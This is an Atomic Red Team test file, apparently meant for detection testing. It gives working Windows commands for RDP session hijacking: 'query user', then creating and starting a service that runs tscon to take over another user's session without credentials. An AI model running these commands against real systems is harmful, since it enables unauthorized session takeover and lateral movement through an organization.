Files
atomic-red-team/Windows/Lateral_Movement/Remote_Desktop_Protocol.md
T
Michael Haag 0bfdcfa480 Lateral Movement
+ PtH
+ RDP
2018-04-06 08:21:28 -04:00

19 lines
586 B
Markdown

## Remote Desktop Protocol
MITRE ATT&CK Technique: [T1076](https://attack.mitre.org/wiki/Technique/T1076)
#### [RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) — how to hijack RDS and RemoteApp sessions transparently to move through an organization
retrieve the session ID:
query user
Set the session ID and rdp-tcp# retrieved from `query user`
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
Access the session:
net start sesshijack